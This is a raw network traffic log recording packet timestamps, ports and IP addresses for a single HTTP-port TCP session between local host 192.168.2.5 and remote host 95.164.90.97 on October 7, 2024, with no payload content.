Oct 7, 2024 21:18:36.882221937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.882234097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882251978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.882293940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.882447958 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882530928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882543087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882559061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.882699013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882711887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882724047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882725000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.882736921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.882761955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.882801056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.883236885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883337975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883351088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883363962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.883416891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.883605003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883616924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883627892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883634090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883655071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.883862019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883873940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883886099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883898973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883908033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.883908033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.883912086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883924961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883932114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.883939981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883953094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.883964062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.883971930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.884143114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.884345055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.884358883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.884371042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.884382963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.884394884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.884406090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.884413004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.884419918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.884444952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.884769917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.884937048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.884948969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.884974003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.884994984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.884999990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885006905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885019064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885020971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885031939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885044098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885055065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885056019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885070086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885082006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885083914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885083914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885096073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885107040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885291100 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885786057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885798931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885811090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885822058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885834932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885839939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885854006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885871887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885876894 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885876894 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885885000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885898113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885907888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885907888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885907888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885922909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885932922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885940075 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885940075 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885946035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885961056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.885966063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.885966063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.886013031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.886013985 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.886634111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886646986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886652946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886658907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886670113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886681080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886706114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.886766911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.886852026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886868000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886878967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886889935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886889935 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.886900902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886909008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.886913061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886926889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886939049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886950970 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.886950970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.886970997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.887084961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.900649071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.900690079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.900702000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.900831938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.900851011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.900855064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.900862932 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.900876045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.900887966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.900899887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.900912046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.900996923 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.901179075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901190996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901209116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901221991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901233912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901235104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.901247025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901257992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.901266098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.901565075 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.901603937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901617050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901628971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901640892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901653051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901653051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.901664972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901676893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.901676893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.901704073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.901704073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.901797056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.901947021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.902069092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.941997051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.942020893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.942038059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.942053080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.942064047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.942070961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.942070961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.942111969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.942123890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.942161083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.942173004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.942183971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.942240000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.942240000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964031935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964221001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964231968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964237928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964245081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964270115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964272022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964286089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964296103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964309931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964335918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964380026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964461088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964479923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964505911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964539051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964551926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964562893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964570999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964628935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964653969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964728117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964740992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964751959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964850903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964864016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964875937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964874983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964890003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.964924097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.964924097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.965010881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.965040922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965054035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965115070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.965115070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.965121031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965239048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.965478897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965550900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965563059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965598106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.965676069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.965679884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965692043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965704918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965770006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965791941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.965869904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965882063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965894938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965905905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965920925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.965924978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.965933084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.965948105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.966006041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.966201067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966212034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966223001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966233015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966242075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966252089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966264009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966265917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.966312885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.966312885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.966492891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966502905 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966552019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966553926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.966553926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.966564894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966577053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966589928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.966738939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966763020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.966804981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966818094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966829062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966840982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.966854095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.966867924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.966880083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967035055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967046976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967058897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967154980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967164993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967175961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967186928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967196941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967205048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967205048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967210054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967221022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967231989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967236042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967252016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967451096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967629910 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967678070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967839003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967849970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967859030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967869043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967879057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967889071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967899084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967901945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967901945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967905045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967917919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967927933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967930079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967941999 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967942953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967951059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.967955112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967967987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967978954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.967978954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.968002081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.968060017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.968553066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.968569040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.968580008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.968590975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.968600988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.968611002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.968625069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.968658924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.983534098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.983545065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.983556032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.983591080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.983643055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.983688116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.983700037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.983710051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.983721972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.983735085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.983778954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.983778954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.983901978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984304905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.984339952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984350920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984363079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984405994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.984405994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.984476089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984488010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984497070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984508038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984543085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.984693050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.984714985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984726906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984735966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984966040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984977961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984989882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.984994888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.984999895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:36.985021114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:36.985135078 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.024144888 CEST	80	49810	95.164.90.97	192.168.2.5
